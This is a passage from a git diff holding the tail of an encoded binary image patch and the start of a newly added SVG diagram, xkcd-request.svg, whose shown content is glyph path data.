zj0yo^mR?`M8;$(RtShhg_k|Aco<61~5^0J2*KXQvIxZ=$^OQPD^P#e=Q6FsUzXl^y
zNZMpGZyl?tbC+__H(g?t({!9~Inw1>P6C>Fd|q;InaQ(a?7TB-*Pm?b15zS4;GAB>
zs@-6EVwP>*nv@Y=zm0PO5lKVGJ-$oKgKaSZfcxPhUrhy%a%Q=y`3nKd+t?J4et8+P
zL|@G|%ZU@a;ph=-<i(HsdtdMHG1r{_6?ft%1kS;>Q~@8ky+1xyX3>b-UsUH0Qhb-i
zg*9$6FicVf+Y%laO0r{(xCFyAtzg?>85<ebR~<DN#%u=LA~_h!mc|-`9t@L{!M1P~
zhKfwEMmh?^WW!*akt6Qr0W=qZVXRHC&6b9tco}Pi%rH#a2DTZUn)VQDG$vT%FH4P_
z!$!spBQg)eOd?=g=n959vavELc{&8!jGU)ze%1`z*x=8d0DalW3&U(4vZC9COBv@)
z_^z4*Y_nfuYdIC)=Cl96q@+tkzG&he-(h(M+wvlZZAn9X*9DodhUW;|nx=+A7rVQp
z3$U$E4|p%+z<X|rVv#fMp(MU09>6+b9xI-MKtGRFaUMX2&atx+Il(qJ74crEj2W(2
z!kZ##cysb3kk_H$Yto)CE;&j92Ti~#YXiDQ5<7dgfOQ`ZxmFE;J1B`!4!>1th*w;b
zNV~xrJFUcIhgjAkaw=57s;dTc^%_2Pn#y&sMyCMQ6}ouOS_70jp?-!1b_y+w)a1f@
zrRw)q;=2--d5JEQRL81t8QevVvVe(ij7?a<9fk#>Ys}=29PSS;OL)M#-sr>B9OT5_
zF@REfbo&}Nvg5ZS3OG2dw%z7~u9e}IKHYlZ8OJomqBwcziRi{58~|M*|CSn&bY3?&
zFA)WlxR1zNK`=ALOqnRDaG1$ahP2nq{-lNH)&KI&YnQ;ZP81N^9DtTcqyY$ug2O=v
zc$3#C5ad?c?j<*XUhmV0G}~Cqca8-Il6gdACext}fK7OKOAT2>BIy_{8gZrxk$BX#
zQMXJ*=u&hjW;z^n1F-{@&VF6yUtR)d-Eu#!P#8g>AQ3sBQ^aI!Ono@05auJqVNu0K
zGPm4zA1OeEVxLCDbM%$f)=1#AN)d+-wkx17TJf7X08AZHfy??h03k6CAZ<AeAku^)
z1fghDivuP>2p{?a^UIc9g}}O%TO5!i2Dy=FnSUI~n7~<`@JHQvBznfOAaz&TUKru_
zuJL(9Y#UPZRL2{YZosL|L=sUC4tkkW{8mgucR>}i1YLdpn-@a87*RD)hVC&++GQ|P
z^^3_8%+d$zx~!`|VNqY8ED*XrqN)?{+Ax=~V=8%?Z&~EW&^ayEmA3N*ciDH3Pa|SW
zZ+|x(%3&s#gi3yiCU{jUz2;77NYKS8`<${-sx4jL5%rwlA_`Esj)Z!cYe;|G658tH
zFy_;S;^2~OoJL|FhZJ-|SMX1K(nHH~iWgBz)^j0AxL9fXv1p+i;M0git=sPzv|ncK
z^(44M{qM%`!cCM6>-=O!gl?hB`bcQTP!h@<Uq1l2fY{&<GldZ;(9JG;zwp4ir5&XN
zMLDicomw2Xjm#9M8VR=c4QCg`@B>gT;f0A05Q!cIt8E{MDu7QT(rkZy&!BS+-Qb#g
zORzw?z|aA>n)r|@6d;S1KahN>lam%tbc|&-_EWPIjCS%AOStohL{!437TUh%)1~>~
zZs#_%33hSPBc13?JFzU92J1HO!%ok(ZTsekgtI$tf}T+xyHVotB8PXP>_2O)QLNa#
z?VCRh^E)0L7#Hxfnr*PI-GqVU+>V>BH7kDBFbmdYhcHm1zT5uv3B~cV!aP{VhhZSI
zdAF5mlW>8VKldmR^GAOt4OR~LH0oeoE&>B(hpYrFbOqKKdy8osD-UPpUlf?HJR4}#
z1HOB1<1aZ^YxMkH^<%AM5F7ld2k>^FjbWJ0JMwoO{2*3dfZLH@g@NMNSnE0tgV-go
zPD;T*)eP3k+`u5!3|N<G!9W!OYl$%!BqoA&VhjdSXo~}j|HR^sF@F{IB<GcZ1i|uR
zUKdF7gd1kwnozr~N^$o}21R1NMh!hKR&jZZRqY*he8kty5!s{p{gN~*n<UTz(UOs*
znqLcFP0|B<?Bo{PE797kP4v{f6G;rzG&z(_sA|gIS}F|GQPo63zd5<-N!|qn(pds`
z^LjRkV5%A`{d0h=a4j-{Z6>Po=15cXztn;ee6y(A<c4{|AB|PDYqy{4QBfA;UC*=H
zN#krN67@<Vk);;SsjfbU4Gu11LAu8p|0LzCqjH9Aai(LXavm6^b62t_S@4PTYCBTW
z6TZr&$7;v^T$z>IaWB@{=_}`hoJ|lk)>AX}+GKOiI#TU7v0~rEVO##&*W{LNR9^O5
zNW2^J!Im<;T`DhglCO3L*1Fs)2t<P9y~mFePTwLwy~y9B)C8}08_j<wWdxeDyr7wY
zH`1=Kei;25q!TQAh&lLh()X+1&b^F-nS!_ZlpA#`7pM47_@-Fn^!~W0xLzow<9iPO
zbG-^a#GRG$H}<*biXMqe{O6<->@AQ}U`4Hny#<pISm9;8=$ygE?CcV1F6=GnJb@L>
z7WNjT*x8C==&{FyI6JQnU9nyPz+f$QYE~T%u(zPf&IT^e{>k#S{>Q1YvVTT)qyOnN
zfT4Lj6I6EIg=FYf{$=k>+Y{BH0DKN0;J#GcciUR6Ra>{#-P&4fYiBz5|NoZ@*Z_+A
z++i~J-uDa7BLYc|B$$vlR8XPkoneapVo?E`1zH%;?gO-#&mPdi(am1G4*zB(dOEIr
z2{;aS5v=FR2^LYJM<<p^{M-PK?HVjVoWQSOxN+2%7Wz9g-FVoU_E`$i3MYGT<5g_J
z2b=;MMidJS08~u1*E<K)u(i)9Sq6ZdsYqr5XxuHr9#Oc3J^Z-6EA}tpM2Jn!Og{>T
zlb8U(e|2>wArAmut`4izD0(lok%G;nl$bSnSfgkt58gF|I#ys8K3r0OLz(q}V6@4Z
zsf>;Z4d%hXvycNBuW+`OJ&InmfAhj-+G=RBrc!DGp^Gs9hT~xu#b%Bh4bBob2Yc}P
z0%MME9L#h+$=MEo=`}#-V}uWC?vbmn*YDJ@H8hE~>c}O|Hp0LSgqSM;0EN9JGxC8>
zt-R{NBU_z5egMH>lQWZUkh2kpgKisSXFAMfKqZRY85nR<v@lOTxvfB1fJ?k4b~Yls
zb54MeOn^=>F5tqZWZwr<%zy!L2s)`X4<6ZSTuyORLd+}$db&+czXC~$el~*cpd&{E
z{P=*bUum!Ooi-Pjh9y&OH8vHBrrpQlu$lSGc<dK6XB!dT4fM26454A}OPO15Q#oPD
zA)vTYtuvtGTl3&)+a-@-L<}cmMfOXeM{IJ2E0CmUXCvqiy3W_pXPtMKo5^7v#zKJX
zgfu4gr#xJ#(+U(RUbg*A2B=Wd>}*7M=jj3AoSPXcw=OVI>;pWy!YMy?LE~%z2G%`z
zWD85GT;dfS27z9a*yQvpkfi8mBM=9jc66`l!RCv=dBBD>vJ)Wd1HuGXV$-7MU8k*S
z8DP_s_eO}FO%vYb^iV!Wb6RZduK=tdmV)3x@%<egputL@WAfmU?H9pI_=ZJ;K+i>N
za@rM0QjBK<72=@NkM<*$1oSD#3O%wD;6uOF`YuF6oyJqNbYe3N8)+y7bQL0YHcfb!
zGlbF+<;uN*$_v*T;oydo?s&zQIPYn<6NlX5;(|0cCJ!Fj>IBel5a?+(xq@~Dk`%+)
zU<q;1X-5w*>A@E$i~zz@vJ)V#3%Y|G8e`KQ04=0Tu$k|QzjoRrb~a6T_n8MBTW5|c
zxtbeAIV2BU`^5_YRbIO*<;b-BBr;|X9@**yv1$<LX*M~Vb_J3Y!`Wbo=Aa`-*Q3w=
zNKjqd*6!1Gf-@Qff*p;qnPh+#*qzN@ajx0fLW>#^-t8th1ArRI;a(436Oo)BzUbY;
zK1fo?*>*bUcJFMs5cT%P`v$bI=QXr5qn&M+@a}XEUNuL~4~MfeDYNb|I~fkY?i<R+
z1iXy{ooy!y@AjXUZ1=+0G;T0ct9`TC?%*H5j)vGs^sN4J#IIyp0*kr3Y4|<Wi4=;6
zQ5SB3bGgEzC`KZYkR*BSNj}aNvQwwi=Tqhb)@rtWQ_>#DskyrPQ>BF?>ei+QEX47c
zjG{tRF7io|Z?RdWz?Vet)lD{=^|0&}&+~1&eIiLxF47d|E^`!JuDRHZNGW?YuFNs^
zf325(2@1>w>i12Go>#zA4`avo+E`5`VY~3oBADV!6mg!M=F?r~$fS_EuXgKjDD!63
zsl{xZx7)q$NQq2>BybnvA|fI|sJQ7_t$)(@Xca?LnItUP?R=c=WFMUa<+tUK!*-_$
z?<{~B=07h`m<+nGjnk7tCPCgf&Kf>{Oupy%s@)qxof18vNn~!{e0ism$}*p{d!<N3
zt`az0MfeKa#NOt4R<0A&>D_&$GQUx3^C0{*wqd&OJWn<S#EW+R87#!7H8$>gik|;9
zb{}jcVC$+AY}K%xvn{zc_bQeMr79QDjG$EKC8a4=+F}`A=7nYD`%h^jOgzdTci6Ig
z+IwjfS%d{tnWxy^cLuCwLLyUTl=7g3(_Xs@%5}M1E6Abi`vy+uRB4TQzO6RJ?ud*i
zbKxRUG^5v{3ptu8JKuR6yj^#LU_JUD8y*0X^h`I3$KY4P*ko$8u5Ark=DDAJbqAyv
zx~3cbKZgU7s31fFludv>r)X5~_YmOJ$joh^;Gsv!|492f+rON=8k&nSs64#@E%@nQ
z_3RfDK^g9vlm|VUWQr#I{vI6M$|$Fgo=Itc(Z9mxujO8eOpnH?oW&gcrx^=~Tm>}J
z^t`<}q<_iaU&^b191l7-3!sH=6n1lYo9_G1TRhKKTb-wT`Um`*7<0%;%)#XmnB6++
z53<d#^TOLz<U)y^&0rrt?%-(dIM_(=M>?M^-#1;T$UMDmUZ#CN5(N~R?d%)<0XnSH
z=TlJsYU(_@*2<@QUC;QlvS-%aB)Za4#C@OSS(WnVB*$TxAHpuaEsx7diBH9I+RL1!
z9mCp(4R*nJK*Kg3)_pNgJTWRM5fR;=9sk?VwkFd{JIihtegnFhA-YPTNxT#D)g8Cr
z-eEH?A$PeFiEpj%^}hen^HNPHN>!BM<`GHu%ufCN^iB5}HZb;0gzjz)^w4qEA2_px
zmh3qVE%d&9*^*mQM8c9J--1cr$fw=zRpq*2ZkdeGeYNl;cQyWCcB*=57u<cv?{9-A
zwt63$bIUTAH$#$l*(J_uxWre!y)1%~=+eG9x^I^YQ>X8*;_w>-hmd<bb~T81+qmXX
z#*I{waQ0kIO^Y{DX4y*i$?5bp(%)+z0nngD#C{@;Fz7sY<sWUP7t3bV;p$hr0ksIu
zv)QGg_jYW9lc>gNSyOL8&lGMt7Noec)3VNyM34AjGg%2NrI3IfB(K0S+Vu1SZY?Uy
z*k5JYS+I;&8|bE71xq<k!44)Jund--Uck*%%U~%LFYMsn1D4UDXg2C^uR?ZJXx1-h
z?xDv}xtT-(EMxyNpxz1`%D;b!L917(j=%mN8UwU6yb7N!T2`W@e$7<t8eUR?(z0eY
zPm%fHw>P}Y>(TPONd403-U?VsDE1F@)HtR^+t25mBJ;sUq>8m3yhZP%=Qp#fA)Ly7
zz|YX6=l#=d6^ykWylDR)`WraQPq+d61Q+zot2^f5IqpBegBQq1n1dtX>c@4q{uKil
z7h#<Y3jjUr!^s4xA4=QY*Bh^b0&{({)q{8Y$zjOvIAIyk9XL&)7C8po9IWGMgG@UI
zCo`sg0DAK?kw*zaFeVBqX0r#6xkq%r!O_^T20O@?V3h~NfCEdg&Z`=lRufDdYLhD>
zEi*8VdnWQU0UQgi)!pX7dqzA1GdGRBztxX}##{*@#OEBgV4Xx2nBf%`0Bme~YJ)YH
za$?mcXa3ql7%1nZy*V_OSHh^KN$boWyb4DB46Ntf8&-3D!E7s$YYZN<W_AW8{6u`y
z%x;8)fHI*VFd;;YI=-}Sv5OffRB_cNN4~Z?yh}N2LuviyGr+8c7!^8<X0+2icsfNl
zMq|uc-a~51k49TdB+czvB02yDE=B$ckw=?mb|WOvB_N75c)%yd_JUtpx9YNO&trMb
zCb#@r1avC2ccHBhZPhUWF|H&c`i(|A&4Xv8?nOJZn)fg|lyjubC8F0@yXdaA&B^Fp
z1C#!+ZgwN^QGl6WEHQ;JW01m?qmaA@2Nzqj$*Eskg{6Le!P5v<ctlZ%F;9XkZZz6O
zhzD<#7!KC*UV4J}MSFXR<V&!NOB{lZ6W@Sw2C_Nb>_)gg2bm$(dC{nKi;vQXjcC<m
zljB8LqfGs*9DmdF25kW#KCfUSpd0NjhzF0rPC+K%@~q{ZEd{IL570j~KOOHxD1t^0
zuR!4{M<jEEn;Q~4M_V*%-8$lYfjA17Y;tW=XsXoDWy{RLNILAE2#?R`W!xx?HKU#8
z!81r(TUT+B8?NQOCb;koU~7qFrNiIb>wG=Aw{k=>_eBsfmyn4d4@rDCNa1d{D#Nxe
zO*T2@YkykrCY-reN)A&D)52ae1MlsNnP#-pJb3Vhjg2A-k^|QB{wO#BjGrFY6C?V-
zL~l;aZiEzvGSP`2;Ozb&n;e?{Po?OYjJky)u9RHvZl|=)j4AJ?Pmk)qj5v3h-A=d3
znJsb>^;6o1cnN!$b&t=x{^@azuY0=n*{%39Hn~4=OaNxs{YOlC2Y&h*-!~rq%OrDu
zT!r?IL$HwK%Tc|pX35+iJMw-4LJ=%u|GQPM@x79{KlFVS19VO^**9`muI@Fv{h=@5
zoq*^A3y~_cyohY4XI;^4MEqbG`=5(EDX@so7SPV$?VWp9+AtW#-?X$^x^}cHIEzwl
z7P()_MMSKiMHni|zW;YwQ+lyyV{>j}(bL~w@!@UKlgA|G(7X|5utPH9Yu{E6c$-@!
zwm`}YlejffMoo$IjRLzK*heK&c2>*;Af4R~Y>p;nlN|pUNN2YLdvHt2JK_a`POtp$
z3-3$D=z@hEu{;6N+3n^m@$C1W;H-Hou6@d0@;5lAGM#4G<EEd<p_I$<(%5)xS@8Rm
z_keWl*`3jNvESq{$1Gi(O4(0wb1lO^fbYRiIml_<g4&>2E}5^K#N5=_Un)2+_8G@D
z*?=Z@luYI~332xJQ(QlHX_z{^lsY2k5bG`6R_@VW?`)8!F}E!D5vPVhHnGEA^0;Ov
zmhP5Y4E!Cw#;Bk77uq|i<dYmrH~2zVi?>G%_3I?eZ7ngSpM;9-(udwzEqAH4e(aGx
zsv3!DshQ~=AT$D^v2H3UwN1fy=<~Xfl^UmZ@|wyCviY$8S-5WA7N-|OtvX@k7q_r(
z$Biss>_27l`?27+wJlwz!=Ip=OG#`Bl|3h!k&xlo4aYcTJx(o;_0)B(C=DOyq`$oh
zFS<dd75|iwW~JI7le#~2vj-jQ_wvp(vtZNoGwiP5aHgRvJJ*tzXej@2&@b{?qrRgK
zc`%IxKND$o!!2FR@%I0exl-VLqcHf4j$uMloy8f?`##ty_7rCty5SQ;Bi^19Kc`1T
zL_|bHL_|bHM34$yg};Q3WQZWv8ZizLWLgsuS@V`KYXD1R!CIhxTnxtmHEt%=4glS4
z2&EA~d68<Yz?XGZ=$DZUgBCysDM9#hCe&<A881F2sBpMDp{XdgFtAnAjYcnXS9MRM
zhmBN!tqp_(cx~GF_1#I=N0;)mFmlfId_D3(2gGz740TH}90UB+Qide}Ix|rWL1ro=
zYCR0(hID702i64P%{gTp0jLc|iMPYy!CJFQR{@HWY>C(!ZWM_0Vonu=gv@Yt@Y=NT
z>dUEmXQqb3-ahA#O7c;HTzN||9Mf?&%m@!acLAUuw^9#a<H;7f1DFKX1mPNhjPwp-
zz7G$qfwBY)k~bP{fG;}NPhu3nMHg_JE^d7mvH%{C{w$32>^(1`E16S0L-m*~#c<3B
zIkbVsovD6>_Vm24^5sbicT`|a5MBkK5aXUp6ApK+sh3g+6=8C<(eNd{==`z9(S<R%
zZDQQ|Ci{S^pFayD=X~$iGvTrtoEpd5is6{ffea4x(it^iQxzyr_J={b4X{Frr+e0T
zqb3~gSaWx1DxitaMokqwF>H<7W@yxOoKf@6tfBJ41B`{sZN<VY^Z~Cj)SRcBwMG-<
zR+piw70Q$Sg+k($&J9vL-LuADYr^5!8Y?!TMokes4PWAkVQaiL?K|`8Yv8qJ3h&Gs
zxH$r7qw2O|VHWy88L}zS#7}6&D|!T!md?|rCkKyLRwH#9M~bKW)+pI#CP9V6-3d+O
z?!~bP(6KcQDfkjs3|r&1iSNv-PnWK*FXVS;O#nGxRN5Jcup!Kvx~Z&Avk+lJm^HGL
hc^VV{s!+tA@eS7%T&FRG4ATGr002ovPDHLkV1i*udtCqk

diff --git a/_images/http/xkcd-request.svg b/_images/http/xkcd-request.svg
new file mode 100644
index 00000000000..6a21280ca34
--- /dev/null
+++ b/_images/http/xkcd-request.svg
@@ -0,0 +1,191 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="441pt" height="201pt" viewBox="0 0 441 201" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
